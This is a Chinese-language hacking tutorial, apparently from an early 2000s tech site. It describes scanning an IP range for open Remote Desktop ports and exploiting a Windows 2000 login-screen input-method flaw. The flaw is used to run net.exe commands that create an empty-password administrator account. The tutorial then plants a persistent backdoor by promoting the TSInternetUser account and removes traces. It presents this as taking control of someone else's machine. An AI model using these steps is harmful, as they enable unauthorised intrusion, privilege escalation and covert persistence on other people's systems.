首先我們確定某臺機器的3389端口是開放的：

D:\\\\Nmapnt>nmapNT.exe -sS -p 3389 xxx.xxx.xxx.xxx 
Starting nmapNT V. 2.53 by ryan@eEye.com 
eEye Digital Security ( http://www.eEye.com ) 
based on nmap by fyodor@insecure.org ( www.insecure.org/nmap/ ) 
Interesting ports on FGF-DELL4300 (xxx.xxx.xxx.xxx): 
Port State Service 
3389/tcp open msrdp 
Nmap run completed -- 255 IP addresses (93 hosts up) scanned in 542 seconds 
D:\\TOOLS\\nmapNT\\Nmapnt>

現在我們已經可以看到這臺機器的終端服務是開放的，那么我們就可以開始行動了。

打開終端服務客戶端，添上IP地址，選擇連接。稍等片刻，一般是很快的，就會出現熟悉的登陸對話框了，這是我們看看有沒有輸入法的漏洞。有關輸入法的漏洞請參看相關文章。如果有輸入法漏洞那么我們如何取得控制權呢？

經過多次的研究試驗。終于想出了一個辦法。我們發現在跳至url后，我們雙擊winnt目錄下的explorer.exe并沒什么反應（在機上已經運行了，可是我們為什么看不到結果呢？），如果我們不斷的進行雙擊，或者什么也不做，一會兒連接將被斷開，在斷開的一霎那，我們似乎看到了我們雙擊出來的窗口。經過幾次試驗，我們發現不登陸進去是不行的，將會被服務端斷開。于是想辦法先登陸進去，我想到了在幫助中打開用戶管理器，經過試驗，在跳至url中添入：

mk:@MSITStore:C:\\WINNT\\Help\\TSHOOTconcepts.chm::/where_usermgr.htm

在右側會出現一個可以打開本地用戶和組的管理器的鏈接，本來在正常情況下是可以打開這個管理器的， 可是在沒有登陸進去的時候就是出不來，于是想另外的辦法。終于想到了建立一個命令行的快捷方式。在跳至url中輸入：c:\\winnt\\system32，然后找到net.exe，右鍵點擊net.exe，選擇創建快捷方式，于是創建了一個文件名為快捷方式net.lnk的文件，然后再右鍵點擊這個快捷方式，選擇屬性，這時我們就可以輸入我們的命令了。在目標中添入我們要執行的命令的路徑和參數就行了，我們還是用net命令，因此不必改路徑了，添加個賬號test的命令如下，C:\\WINNT\\system32\\net.exe user test/add，密碼為空。然后雙擊這個快捷方式運行它。然后我們把這個賬號添加到administrators組中了，C:\\WINNT\\system32\\net.exe localgroup administrators test/add。OK!再運行。我們現在已經基本上成功了，關掉幫助窗口，用test賬號登陸，密碼為空。進去后我們把剛才建的快捷方式刪掉。然后再將本地用戶的TSinternetuser賬號加進administrators組中，設置密碼。這樣我們下次就可以用這個賬號進來了。然后再用這個賬號登陸一下，如果能夠登陸，就刪掉剛剛建立的test賬號。

這臺機器就這樣控制在我們的手里了。

責任編輯 趙毅 zhaoyi#51cto.com TEL:（010）68476636-8001